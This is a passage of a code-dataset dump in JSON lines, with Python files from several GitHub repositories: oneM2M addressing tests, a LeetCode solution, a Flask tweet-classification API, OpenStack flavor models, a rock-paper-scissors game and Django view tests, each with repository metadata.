None:\n\t\ttestCaseEnd(self._testMethodName)\n\n\n\t#########################################################################\n\n\n\t@unittest.skipIf(noCSE, 'No CSEBase')\n\tdef test_cseRelativeStructured(self) -> None:\n\t\t\"\"\" Test CSE-relative structured \"\"\"\n\t\turl = f'{CSEURL}{CSERN}/{aeRN}/{cntRN}'\n\t\tr, rsc = RETRIEVE(url, TestAddressing.originator)\n\t\tself.assertEqual(rsc, RC.OK)\n\t\tself.assertEqual(findXPath(r, 'm2m:cnt/rn'), cntRN)\n\t\turl = f'{CSEURL}-/{aeRN}/{cntRN}'\n\t\tr, rsc = RETRIEVE(url, TestAddressing.originator)\n\t\tself.assertEqual(rsc, RC.OK)\n\t\tself.assertEqual(findXPath(r, 'm2m:cnt/rn'), cntRN)\n\n\n\t@unittest.skipIf(noCSE, 'No CSEBase')\n\tdef test_cseRelativeUnstructured(self) -> None:\n\t\t\"\"\" Test CSE-relative unstructured \"\"\"\n\t\turl = f'{CSEURL}{TestAddressing.cntRI}'\n\t\tr, rsc = RETRIEVE(url, TestAddressing.originator)\n\t\tself.assertEqual(rsc, RC.OK)\n\t\tself.assertEqual(findXPath(r, 'm2m:cnt/rn'), cntRN)\n\n\n\t@unittest.skipIf(noCSE, 'No CSEBase')\n\tdef test_spRelativeStructured(self) -> None:\n\t\t\"\"\" Test SP-relative structured \"\"\"\n\t\turl = f'{CSEURL}{CSEID}/{CSERN}/{aeRN}/{cntRN}'\n\t\tr, rsc = RETRIEVE(url, TestAddressing.originator)\n\t\tself.assertEqual(rsc, RC.OK)\n\t\tself.assertEqual(findXPath(r, 'm2m:cnt/rn'), cntRN)\n\t\turl = f'{CSEURL}{CSEID}/-/{aeRN}/{cntRN}'\n\t\tr, rsc = RETRIEVE(url, TestAddressing.originator)\n\t\tself.assertEqual(rsc, RC.OK)\n\t\tself.assertEqual(findXPath(r, 'm2m:cnt/rn'), cntRN)\n\n\n\t@unittest.skipIf(noCSE, 'No CSEBase')\n\tdef test_spRelativeUnstructured(self) -> None:\n\t\t\"\"\" Test SP-relative unstructured \"\"\"\n\t\turl = f'{CSEURL}{CSEID}/{TestAddressing.cntRI}'\n\t\tr, rsc = RETRIEVE(url, TestAddressing.originator)\n\t\tself.assertEqual(rsc, RC.OK)\n\t\tself.assertEqual(findXPath(r, 'm2m:cnt/rn'), cntRN)\n\n\n\t@unittest.skipIf(noCSE, 'No CSEBase')\n\tdef test_spRelativeCSEIDFail(self) -> None:\n\t\t\"\"\" Test SP-relative /<cse-id> -> Fail\" \"\"\"\n\t\turl = f'{CSEURL}{CSEID}'\n\t\tr, rsc = RETRIEVE(url, TestAddressing.originator)\n\t\tself.assertEqual(rsc, RC.BAD_REQUEST, r)\n\n\n\t@unittest.skipIf(noCSE, 'No CSEBase')\n\tdef test_absoluteStructured(self) -> None:\n\t\t\"\"\" Test absolute structured \"\"\"\n\t\turl = f'{CSEURL}//{SPID}{CSEID}/{CSERN}/{aeRN}/{cntRN}'\n\t\tr, rsc = RETRIEVE(url, TestAddressing.originator)\n\t\tself.assertEqual(rsc, RC.OK)\n\t\tself.assertEqual(findXPath(r, 'm2m:cnt/rn'), cntRN)\n\t\turl = f'{CSEURL}//{SPID}{CSEID}/-/{aeRN}/{cntRN}'\n\t\tr, rsc = RETRIEVE(url, TestAddressing.originator)\n\t\tself.assertEqual(rsc, RC.OK)\n\t\tself.assertEqual(findXPath(r, 'm2m:cnt/rn'), cntRN)\n\n\n\t@unittest.skipIf(noCSE, 'No CSEBase')\n\tdef test_absoluteUnstructured(self) -> None:\n\t\t\"\"\" Test absolute unstructured \"\"\"\n\t\turl = f'{CSEURL}//{SPID}{CSEID}/{TestAddressing.cntRI}'\n\t\tr, rsc = RETRIEVE(url, TestAddressing.originator)\n\t\tself.assertEqual(rsc, RC.OK)\n\t\tself.assertEqual(findXPath(r, 'm2m:cnt/rn'), cntRN)\n\n\n\t@unittest.skipIf(noCSE, 'No CSEBase')\n\tdef test_absoluteStructuredWrongSPIDFail(self) -> None:\n\t\t\"\"\" Test absolute structured with wrong SPID -> Fail\"\"\"\n\t\turl = f'{CSEURL}//wrong{CSEID}/{CSERN}/{aeRN}/{cntRN}'\n\t\tr, rsc = RETRIEVE(url, TestAddressing.originator)\n\t\tself.assertEqual(rsc, RC.BAD_REQUEST)\n\n\n\t@unittest.skipIf(noCSE, 'No CSEBase')\n\tdef test_absoluteUnstructuredWrongSPIDFail(self) -> None:\n\t\t\"\"\" Test absolute unstructured with wrong SPID -> Fail\"\"\"\n\t\turl = f'{CSEURL}//wrong{CSEID}/{TestAddressing.cntRI}'\n\t\tr, rsc = RETRIEVE(url, TestAddressing.originator)\n\t\tself.assertEqual(rsc, RC.BAD_REQUEST)\n\n\n\t@unittest.skipIf(noCSE, 'No CSEBase')\n\tdef test_absoluteCSEIDFail(self) -> None:\n\t\t\"\"\" Test absolute /cse-id -> Fail\" \"\"\"\n\t\turl = f'{CSEURL}//{SPID}{CSEID}'\n\t\tr, rsc = RETRIEVE(url, TestAddressing.originator)\n\t\tself.assertEqual(rsc, RC.BAD_REQUEST, r)\n\n\ndef run(testFailFast:bool) -> Tuple[int, int, int, float]:\n\tsuite = unittest.TestSuite()\n\t\n\taddTest(suite, TestAddressing('test_cseRelativeStructured'))\n\taddTest(suite, TestAddressing('test_cseRelativeUnstructured'))\n\taddTest(suite, TestAddressing('test_spRelativeStructured'))\n\taddTest(suite, TestAddressing('test_spRelativeUnstructured'))\n\taddTest(suite, TestAddressing('test_spRelativeCSEIDFail'))\n\taddTest(suite, TestAddressing('test_absoluteStructuredWrongSPIDFail'))\n\taddTest(suite, TestAddressing('test_absoluteUnstructuredWrongSPIDFail'))\n\taddTest(suite, TestAddressing('test_absoluteStructured'))\n\taddTest(suite, TestAddressing('test_absoluteUnstructured'))\n\taddTest(suite, TestAddressing('test_absoluteCSEIDFail'))\n\t\n\tresult = unittest.TextTestRunner(verbosity=testVerbosity, failfast=testFailFast).run(suite)\n\tprintResult(result)\n\treturn result.testsRun, len(result.errors + result.failures), len(result.skipped), getSleepTimeCount()\n\nif __name__ == '__main__':\n\tr, errors, s, t = run(True)\n\tsys.exit(errors)\n\n","repo_name":"ankraft/ACME-oneM2M-CSE","sub_path":"tests/testAddressing.py","file_name":"testAddressing.py","file_ext":"py","file_size_in_byte":6227,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"37"}
+{"seq_id":"38727554281","text":"from typing import List\n\n\nclass Solution:\n    def maximumBeauty(self, nums: List[int], k: int) -> int:\n        def overlap(v):\n            ans = 0\n            count = 0\n            data = []\n            for i in range(len(v)):\n                data.append([v[i][0], 'x'])\n                data.append([v[i][1], 'y'])\n            data = sorted(data)\n            for i in range(len(data)):\n                if (data[i][1] == 'x'):\n                    count += 1\n                if (data[i][1] == 'y'):\n                    count -= 1\n                ans = max(ans, count)\n            return ans\n\n        v = [[i-k, i+k] for i in nums]\n        return overlap(v)\n","repo_name":"Keval78/Programming_Solutions","sub_path":"LeetCode/weekly-contest-354/2779 Maximum Beauty of an Array After Applying Operation.py","file_name":"2779 Maximum Beauty of an Array After Applying Operation.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"28329036577","text":"import touch\nimport display\nimport time\nimport gc\n\nstart = display.Fill(display.WHITE);\ndisplay.show(start)\n\nvetere = display.Text(\"VETERE\", 200, 150, display.BLACK);\nTECH = display.Text(\"TECH\", 350, 150, display.BLACK);\n\ntime.sleep(1);\ndisplay.show(start,vetere)\ntime.sleep(1);\ndisplay.show(start,vetere,TECH)\n\ntime.sleep(1);\n\ngc.collect()\n\nwelcome = display.Text(\"welcome in vetere.tech\", 20, 150, display.BLACK);\ndisplay.show(start,welcome)\n\ngc.collect()\n\ntime.sleep(2);\n\nwelcome2 = display.Text(\"interface\", 200, 150, display.BLACK);\ndisplay.show(start,welcome2)\n\n\nprint(\"app=menu&server=&callback=display_text\")","repo_name":"simonevetere/micropython","sub_path":"welcome/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"}
+{"seq_id":"5551111782","text":"import flask\nimport oauth2 as oauth\nimport json\nimport yaml\n\nfrom ml.classifier.NaiveBayesClassification import NaiveBayesClassification\n\napp = flask.Flask(__name__)\napp.config['DEBUG'] = True\n\nnbc = NaiveBayesClassification(data_source='../../ml/RawData/training_data_final.csv')\n\nwith open(file='./config.yaml', mode='r') as file:\n    data = yaml.load(file)\n    consumer_key = data['consumer_key']\n    consumer_secret = data['consumer_secret']\n    access_token = data['access_token']\n    access_secret = data['access_secret']\nprint('Got file data')\n\ntwitter_api = 'https://api.twitter.com/1.1/statuses/user_timeline.json?'\nconsumer = oauth.Consumer(key=consumer_key, secret=consumer_secret)\ntoken = oauth.Token(key=access_token, secret=access_secret)\nclient = oauth.Client(consumer, token)\nprint('Got client connection')\n\n\n@app.route('/test', methods=['GET'])\ndef test():\n    print('here')\n    return 'Hello, World'\n\n\n@app.route('/get-tweets/<username>/<count>', methods=['GET'])\ndef get_tweets(username='DevanshJatin', count=10):\n    generated_request = twitter_api + 'screen_name=' + username + '&count=' + str(count)\n    response, data = client.request(generated_request)\n    tweets = json.loads(data)\n    ret_data = {'data': []}\n\n    for tweet in tweets:\n        object = {\n            \"tweet\": '',\n            \"score\": -1,\n            \"id\": -1\n        }\n        object['tweet'] = tweet['text']\n        # print(object['tweet'])\n        object['score'] = int(nbc.get_prediction([tweet['text']])[0])\n        # print(object['score'])\n        object['id'] = tweet['id_str']\n        object = json.loads(json.dumps(object))\n\n        ret_data['data'].append(object)\n    return ret_data\n\n\nif __name__ == '__main__':\n    app.run()\n\n","repo_name":"devansh2001/umatter-mental-health-prediction","sub_path":"web/back-end/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"73330447146","text":"import unittest\nfrom lib.dataset import record_reader\nfrom lib.simple_dataset import SimpleDataset\nfrom lib.record import *\nimport os\n\nIMAGES_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"program\")\n\nclass TestLoadDataset(unittest.TestCase):\n    def test_default_with_token(self):\n        records = record_reader(IMAGES_PATH)\n        self.assertEqual(len(records), 4)\n\n    def test_simple_dataset(self):\n        dataset = SimpleDataset(IMAGES_PATH, \"brHD\")\n        expected = [True, True, True, False]\n        i = 0\n        for dat in dataset:\n            self.assertEqual(dat[0], expected[i])\n            i = i + 1\n","repo_name":"RohdeSchwarzHackaTUM/challenge2017","sub_path":"unittests/loaddataset_test.py","file_name":"loaddataset_test.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"24644847454","text":"import json\nimport xml.etree.ElementTree as ET\n\nfrom cafe.engine.models.base import AutoMarshallingModel\nfrom cafe.engine.models.base import AutoMarshallingListModel\nfrom cloudcafe.compute.common.constants import Constants\nfrom cloudcafe.compute.common.equality_tools import EqualityTools\nfrom cloudcafe.compute.common.models.link import Links\nfrom cloudcafe.compute.flavors_api.models.flavor_extra_specs import \\\n    FlavorExtraSpecs\n\n\nclass CreateFlavor(AutoMarshallingModel):\n\n    def __init__(self, name=None, ram=None, vcpus=None,\n                 disk=None, id=None, is_public=None):\n\n        super(CreateFlavor, self).__init__()\n        self.id = id\n        self.name = name\n        self.ram = ram\n        self.disk = disk\n        self.vcpus = vcpus\n        self.is_public = is_public\n\n    def _obj_to_json(self):\n        ret = {'flavor': self._obj_to_dict()}\n        return json.dumps(ret)\n\n    def _obj_to_dict(self):\n        ret = {}\n        ret['id'] = self.id\n        ret['name'] = self.name\n        ret['ram'] = int(self.ram)\n        ret['disk'] = int(self.disk)\n        ret['vcpus'] = int(self.vcpus)\n        ret['os-flavor-access:is_public'] = self.is_public\n        return ret\n\n    @classmethod\n    def _xml_to_obj(cls, serialized_str):\n        raise NotImplementedError()\n\n    @classmethod\n    def _xml_list_to_obj(cls, xml_list):\n        raise NotImplementedError()\n\n\nclass Flavor(AutoMarshallingModel):\n\n    def __init__(self, id=None, name=None, ram=None, disk=None, vcpus=None,\n                 swap=None, rxtx_factor=None, links=None,\n                 ephemeral_disk=None, extra_specs=None):\n        super(Flavor, self).__init__()\n        self.id = id\n        self.name = name\n        self.ram = ram\n        self.disk = disk\n        self.vcpus = vcpus\n        self.links = links\n        self.swap = swap\n        self.rxtx_factor = rxtx_factor\n        self.ephemeral_disk = ephemeral_disk\n        self.extra_specs = extra_specs\n\n    def __repr__(self):\n        values = []\n        for prop in self.__dict__:\n            values.append(\"%s: %s\" % (prop, self.__dict__[prop]))\n        return '[' + ', '.join(values) + ']'\n\n    @classmethod\n    def _json_to_obj(cls, serialized_str):\n        json_dict = json.loads(serialized_str)\n        flavor = cls._dict_to_obj(json_dict['flavor'])\n        return flavor\n\n    @classmethod\n    def _dict_to_obj(cls, flavor_dict):\n        spec = 'OS-FLV-WITH-EXT-SPECS:extra_specs'\n        extra_specs = (FlavorExtraSpecs._dict_to_obj(flavor_dict.get(spec))\n                       if flavor_dict.get(spec) else None)\n\n        flavor = Flavor(\n            id=flavor_dict.get('id'), name=flavor_dict.get('name'),\n            ram=flavor_dict.get('ram'), disk=flavor_dict.get('disk'),\n            vcpus=flavor_dict.get('vcpus'), swap=flavor_dict.get('swap'),\n            rxtx_factor=flavor_dict.get('rxtx_factor'),\n            ephemeral_disk=flavor_dict.get('OS-FLV-EXT-DATA:ephemeral'),\n            links=Links._dict_to_obj(flavor_dict['links']),\n            extra_specs=extra_specs)\n        return flavor\n\n    @classmethod\n    def _xml_to_obj(cls, serialized_str):\n        element = ET.fromstring(serialized_str)\n        cls._remove_xml_etree_namespace(element, Constants.XML_API_NAMESPACE)\n        cls._remove_xml_etree_namespace(element,\n                                        Constants.XML_API_ATOM_NAMESPACE)\n        cls._remove_xml_etree_namespace(element,\n                                        Constants.XML_FLAVOR_EXTRA_SPECS)\n        cls._remove_xml_etree_namespace(element,\n                                        Constants.XML_FLAVOR_EXTRA_DATA)\n        flavor = cls._xml_ele_to_obj(element)\n        return flavor\n\n    @classmethod\n    def _xml_ele_to_obj(cls, element):\n        flavor_dict = element.attrib\n\n        # XML data types differ from JSON, so we normalize here\n        if 'vcpus' in flavor_dict:\n            flavor_dict['vcpus'] = (flavor_dict.get('vcpus') and\n                                    int(flavor_dict.get('vcpus')))\n        if 'disk' in flavor_dict:\n            flavor_dict['disk'] = (flavor_dict.get('disk') and\n                                   int(flavor_dict.get('disk')))\n        if 'rxtx_factor' in flavor_dict:\n            flavor_dict['rxtx_factor'] = \\\n                (flavor_dict.get('rxtx_factor') and\n                 float(flavor_dict.get('rxtx_factor')))\n        if 'ram' in flavor_dict:\n            flavor_dict['ram'] = (flavor_dict.get('ram')\n                                  and int(flavor_dict.get('ram')))\n        if 'swap' in flavor_dict:\n            flavor_dict['swap'] = (flavor_dict.get('swap')\n                                   and int(flavor_dict.get('swap')))\n        if 'ephemeral' in flavor_dict:\n            flavor_dict['ephemeral'] = (flavor_dict.get('ephemeral') and\n                                        int(flavor_dict.get('ephemeral')))\n\n        links = Links._xml_ele_to_obj(element)\n        specs = element.find('extra_specs')\n        extra_specs = (FlavorExtraSpecs._xml_ele_to_obj(specs)\n                       if specs is not None else None)\n        flavor = Flavor(\n            id=flavor_dict.get('id'), name=flavor_dict.get('name'),\n            ram=flavor_dict.get('ram'), disk=flavor_dict.get('disk'),\n            vcpus=flavor_dict.get('vcpus'), swap=flavor_dict.get('swap'),\n            rxtx_factor=flavor_dict.get('rxtx_factor'), links=links,\n            ephemeral_disk=flavor_dict.get('ephemeral'),\n            extra_specs=extra_specs)\n        return flavor\n\n    def __eq__(self, other):\n        return EqualityTools.are_objects_equal(self, other, ['links'])\n\n    def __ne__(self, other):\n        return not self == other\n\n\nclass FlavorMin(Flavor):\n\n    def __init__(self, id=None, links=None, name=None):\n\n        super(FlavorMin, self).__init__()\n        self.id = id\n        self.links = links\n        self.name = name\n\n    def __eq__(self, other):\n        return EqualityTools.are_objects_equal(self, other, ['links'])\n\n    def __ne__(self, other):\n        return not self == other\n\n    @classmethod\n    def _xml_ele_to_obj(cls, element):\n        flavor_dict = element.attrib\n        links = Links._xml_ele_to_obj(element)\n        flavor_min = FlavorMin(id=flavor_dict.get('id'),\n                               name=flavor_dict.get('name'),\n                               links=links)\n        return flavor_min\n\n    @classmethod\n    def _dict_to_obj(cls, flavor_dict):\n        links = Links._dict_to_obj(flavor_dict['links'])\n        flavor_min = FlavorMin(id=flavor_dict.get('id'),\n                               name=flavor_dict.get('name'),\n                               links=links)\n        return flavor_min\n\n\nclass Flavors(AutoMarshallingListModel):\n\n    flavor_type = Flavor\n\n    @classmethod\n    def _json_to_obj(cls, serialized_str):\n        json_dict = json.loads(serialized_str)\n        return cls._list_to_obj(json_dict.get('flavors'))\n\n    @classmethod\n    def _list_to_obj(cls, flavor_dict_list):\n        flavors = Flavors()\n        for flavor_dict in flavor_dict_list:\n            flavor = cls.flavor_type._dict_to_obj(flavor_dict)\n            flavors.append(flavor)\n        return flavors\n\n    @classmethod\n    def _xml_to_obj(cls, serialized_str):\n        element = ET.fromstring(serialized_str)\n        if element.tag != 'flavors':\n            return None\n        return cls._xml_list_to_obj(element.findall('flavor'))\n\n    @classmethod\n    def _xml_list_to_obj(cls, xml_list):\n        flavors = Flavors()\n        for ele in xml_list:\n            flavors.append(cls.flavor_type._xml_ele_to_obj(ele))\n        return flavors\n\n\nclass FlavorMins(Flavors):\n\n    flavor_type = FlavorMin\n","repo_name":"jcourtois/rpc9_cloudcafe","sub_path":"cloudcafe/compute/flavors_api/models/flavor.py","file_name":"flavor.py","file_ext":"py","file_size_in_byte":7641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"23520413942","text":"import random\nimport time\n\n\nmoves = ['rock', 'paper', 'scissors']\n\n\ndef print_pause(message_to_print):\n    print(message_to_print)\n    time.sleep(2)\n\n\n# A P2 that always plays 'rock'.\n\nclass Player:\n    p1 = random.choice(moves)\n    p2 = random.choice(moves)\n\n    def move(self):\n        return 'rock'\n\n    def learn(self, p1, p2):\n        pass\n\n\n# A P2 that chooses its moves randomly.\n\nclass RandomPlayer(Player):\n    def move(self):\n        return random.choice(moves)\n\n    def learn(self, p1, p2):\n        pass\n\n\n# P1 can play and write his choice.\n\nclass HumanPlayer(Player):\n    def move(self):\n        while True:\n            Human_Input = input(\"Choose your move: Rock, Paper or Scissors:\\n\")\n            if Human_Input.lower() not in moves:\n                print(\"Invalid Move Please choose Rock, Paper or Scissors\")\n            else:  # if there is no typo it will continue the game.\n                return Human_Input\n\n\n# A p2 that cycles through the three moves.\n\nclass CyclePlayer(Player):\n    def learn(self, p1, p2):\n        self.p1 = p1\n\n    def move(self):\n        for cycle in moves:\n            if self.p1 == 'scissors':\n                return 'paper'\n            elif self.p1 == 'paper':\n                return 'rock'\n            else:\n                return 'scissors'\n\n\n# A p2 that remembers and imitates.\n\nclass ReflectPlayer:\n    def __init__(self):\n        super().__init__()\n        self.p2 = None\n\n    def learn(self, p1, p2):\n        self.p2 = p2\n\n    def move(self):\n        if self.p2 is None:\n            return random.choice(moves)\n        return self.p2\n\n\nclass Game:\n    def __init__(self, player1, player2):\n        self.player1 = player1\n        self.player2 = player2\n        self.point_1 = 0\n        self.point_2 = 0\n\n    def beats(self, one, two):\n        return (\n               (one == \"rock\" and two == \"scissors\") or\n               (one == \"scissors\" and two == \"paper\") or\n               (one == \"paper\" and two == \"rock\")\n               )\n\n    def play_game(self):\n        print_pause(\"We will play Rock, paper, scissors game.\")\n        print_pause(\"It's an old game and for sure you know it.\")\n        print_pause(\"We will play 3 rounds only.\")\n        print_pause(\"So Lets start now!\")\n        for round in range(3):\n            print_pause(f\"Round {round}:\")\n            self.play_round()\n            print_pause(f\"Score: Player1 = {self.point_1}\"\n                        f\" and Player2 = {self.point_2}\")\n            if self.point_1 > self.point_2:\n                print(\"You Won!!\")\n            elif self.point_1 < self.point_2:\n                print(\"You Lost!!\")\n        print(\"Game Over\")\n\n    def play_round(self):\n        move1 = self.player1.move()\n        move2 = self.player2.move()\n        print_pause(f\"Player1: {move1} Player2: {move2}\")\n        self.player1.learn(move1, move2)\n        self.player2.learn(move2, move1)\n\n        if self.beats(move1, move2) is True:\n            print_pause(\"Player1 gets a point!\")\n            self.point_1 += 1\n        elif self.beats(move2, move1) is True:\n            print_pause(\"Player2 gets a point!\")\n            self.point_2 += 1\n        else:\n            print_pause(\"That was a tie\")\n\n\nstrategies = {\n              \"1\": Player(),\n              \"2\": RandomPlayer(),\n              \"3\": CyclePlayer(),\n              \"4\": ReflectPlayer()\n              }\n\nuser_input = input(\"Select the player strategy \"\n                   \"you want to play against\\n\"\n                   \"1- Rock Player\\n\"\n                   \"2- Random Player\\n\"\n                   \"3- Cycle Player\\n\"\n                   \"4- Reflect Player\\n\")\n\nif __name__ == '__main__':\n    game = Game(HumanPlayer(), strategies[user_input])\n    game.play_game()\n","repo_name":"noni992/udecity","sub_path":"rps.py","file_name":"rps.py","file_ext":"py","file_size_in_byte":3715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"38297689590","text":"def get_dummy_header(cdelt1=-(4e-3 + 1e-8), cdelt2=4e-3 + 1e-8, cdelt3=1,\n                     update_header_dict={}):\n    # the strange cdelt values are a workaround\n    # for what seems to be a bug in wcslib:\n    # https://github.com/astropy/astropy/issues/4555\n    keylist = {\"CTYPE1\": \"RA---GLS\", \"CTYPE2\": \"DEC--GLS\", \"CTYPE3\": \"PARS\",\n               \"CDELT1\": cdelt1, \"CDELT2\": cdelt2, \"CDELT3\": cdelt3,\n               \"CRVAL1\": 0, \"CRVAL2\": 0, \"CRVAL3\": 1,\n               \"CRPIX1\": 9, \"CRPIX2\": 0, \"CRPIX3\": 0,\n               \"CUNIT1\": \"deg\", \"CUNIT2\": \"deg\", \"CUNIT3\": \"VARIOUS\",\n               \"BMAJ\": cdelt2 * 3, \"BMIN\": cdelt2 * 3, \"BPA\": 0.0,\n               \"BUNIT\" : \"VARIOUS\", \"EQUINOX\": 2000.0}\n    keylist.update(update_header_dict)\n\n    return keylist\n","repo_name":"keflavich/MultiComponentFitting","sub_path":"multicomponentfitting/toy_datasets/cube_io.py","file_name":"cube_io.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"72829626987","text":"import numpy as np\n\nclass RankReward:\n    def __init__(self,base_line):\n        self.base_line = base_line\n        self.name = \"RankReward\"\n    def __call__(self,search_results,target):\n        batch_size = len(search_results)\n        rewards = []\n        for i in range(batch_size):\n            prec = precision(search_results[i],target[i][\"c_id\"])\n            rewards.append(prec)\n\n        base_reward,normalized_reward = self.base_line(rewards,[q[\"q_id\"] for q in target])\n        return rewards,base_reward,normalized_reward\n\ndef get_corrent_document_rank(results,doc_id):\n\n    hits = results[\"hits\"][\"hits\"]\n    pos = None\n    for i,hit in enumerate(hits):\n        if hit[\"_id\"] == doc_id:\n            pos = i\n    return pos\n\ndef precision(results,doc_id):\n\n\n    pos = get_corrent_document_rank(results,doc_id)\n\n    if pos is None:\n        return 0\n    else:\n        return 1/(pos+1)","repo_name":"Lyngsoe/AutomaticQueryReformulation","sub_path":"models/losses/rank_loss.py","file_name":"rank_loss.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"21574368407","text":"'''\nuser_input = input(\"How is the weather of today: \")\n\n#casefold() is used for case insensitive\nif user_input.casefold() == \"Hot\".casefold():\n    print(\"It's a hot day\\n\"\n          \"Drink plenty of water\")\n\nelif user_input.casefold() == \"Cold\".casefold():\n    print(\"It's a cold day\\n\"\n          \"Wear warm clothes\")\n\nelse:\n    print(\"It's a lovely Day\")\n'''\n\n# Exercise---------------------------------\n'''\nprice of a house is $1M.\nIf buyer has good credit,\n    they need to put down 10%\notherwise \n    they need to put down 20%\nprint the down payment\n'''\nprice = 1000000\nhas_good_credit = True\n\nif has_good_credit:\n    down_payment = (0.1) * 1000000\n\nelse :\n    down_payment = (0.2) * 1000000\n\nprint(f\"Down Payment = ${down_payment}\")","repo_name":"immp-32/Python-Programming-with-Mosh","sub_path":"if_else_statement.py","file_name":"if_else_statement.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"21960458795","text":"import sys\nimport unittest\n\nfrom app import APP_ROOT_PATH, OS_SEPARATOR\nfrom app.main.src.DataLoader.ChunkProcessors import LinePrinterProcessor, MongoProcessor\nfrom app.main.src.DataLoader.File import File\n\n\nclass FileTests(unittest.TestCase):\n    file_reader = File()\n    test_chunked_file = \"{0}{1}app{1}tests{1}resources{1}test_chunked_file.txt\".format(APP_ROOT_PATH, OS_SEPARATOR)\n\n    def test_read_line_printer_processor(self):\n        line_printer = LinePrinterProcessor()\n        self.file_reader.read(self.test_chunked_file, line_printer)\n        output = sys.stdout.getvalue().strip().split(\"\\n\")\n        self.assertListEqual(output, [\n            '21400,plankton,speed_up,50',\n            '5000,plankton,purchase,15',\n            '56300,plankton,speed_up,31',\n            '65100,plankton,upgrade,50',\n            '58700,plankton,purchase,48',\n            '85300,plankton,purchase,25',\n            '17000,plankton,upgrade,9',\n            '64900,plankton,purchase,1',\n            '36400,plankton,purchase,26',\n            '99300,plankton,speed_up,36',\n            '26100,plankton,purchase,7'\n        ])\n\n    def test_read_dragon_city_processor(self):\n        processor = MongoProcessor()\n        self.file_reader.read(self.test_chunked_file, processor)\n\n\ndef main():\n    unittest.main()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"fabriziomarmitt/dragon-city","sub_path":"app/tests/src/DataLoader/FileTests.py","file_name":"FileTests.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"4695116221","text":"import pytest\nfrom rockpaperscissors.views import CreatePlayerView, RankDataView, PlayerStats\nfrom rockpaperscissors.models import PlayerStatus\nfrom rest_framework.test import APIRequestFactory\nfrom django.urls import reverse\nimport json \n\n@pytest.mark.django_db\ndef test_create_player():\n    request = APIRequestFactory().post(\n        '/create/' \n    )\n    view = CreatePlayerView.as_view()\n    response = view(request)\n    view(request)\n    player = PlayerStatus.objects.first()\n    player2 = PlayerStatus.objects.last()\n    assert (200 <= response.status_code <= 299) \n    assert player.name == 'guest-1'\n    assert player2.name == 'guest-'+str(player.id+1)\n    assert player.cookie != player2.cookie\n    assert response.data['cookie'] == player.cookie\n    assert response.data['name'] == 'guest-1'\n\n@pytest.mark.django_db\ndef test_rank_data_view():\n    def get_request(url):\n        request = APIRequestFactory().get(url)\n        view = RankDataView.as_view()\n        response = view(request)\n        return response\n    \n    def test_full_page(response,player_stats):\n        assert (200 <= response.status_code <= 299) \n        assert len(player_stats) == 20\n        score_of_last_player = 9999999\n        for i in player_stats:\n            assert i['score'] < score_of_last_player\n            assert i['wins'] > 0 or i['losses'] > 0\n            score_of_last_player = i['score']\n        return response\n\n    players = []\n    score=100\n    for i in range(100):\n        if i%2 == 1:\n            players.append(PlayerStatus(name=i))\n            continue\n        players.append(PlayerStatus(name=i,wins=1,score=score+i))\n    PlayerStatus.objects.bulk_create(players)\n\n    response = get_request('/ranks/?page=1')\n    player_stats = dict(response.data)['results']\n    player_stats = [dict(i) for i in player_stats]\n    test_full_page(response,player_stats)\n    first_page = player_stats\n\n    response = get_request('/ranks/?page=2')\n    player_stats = dict(response.data)['results']\n    player_stats = [dict(i) for i in player_stats]\n    test_full_page(response,player_stats)\n    assert player_stats != first_page\n\n    response = get_request('/ranks/?page=3')\n    player_stats = dict(response.data)['results']\n    player_stats = [dict(i) for i in player_stats]\n    assert len(player_stats) == 10\n\n@pytest.mark.django_db\ndef test_player_stats():\n    PlayerStatus.objects.create(name='bob',score=110,wins=12,losses=5)\n    PlayerStatus.objects.bulk_create([PlayerStatus(name=i) for i in range(25)])\n    request = APIRequestFactory().get('/player/bob')\n    view = RankDataView.as_view()\n    response = view(request)\n    assert (200 <= response.status_code <= 299) \n    player = dict(response.data)['results'][0]\n    player = dict(player)\n    assert player['name'] == 'bob'\n    assert player['score'] == 110\n    assert player['wins'] == 12\n    assert player['losses'] == 5\n","repo_name":"NickMakeThing/rock-paper-scissors","sub_path":"backend/rockpaperscissors/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
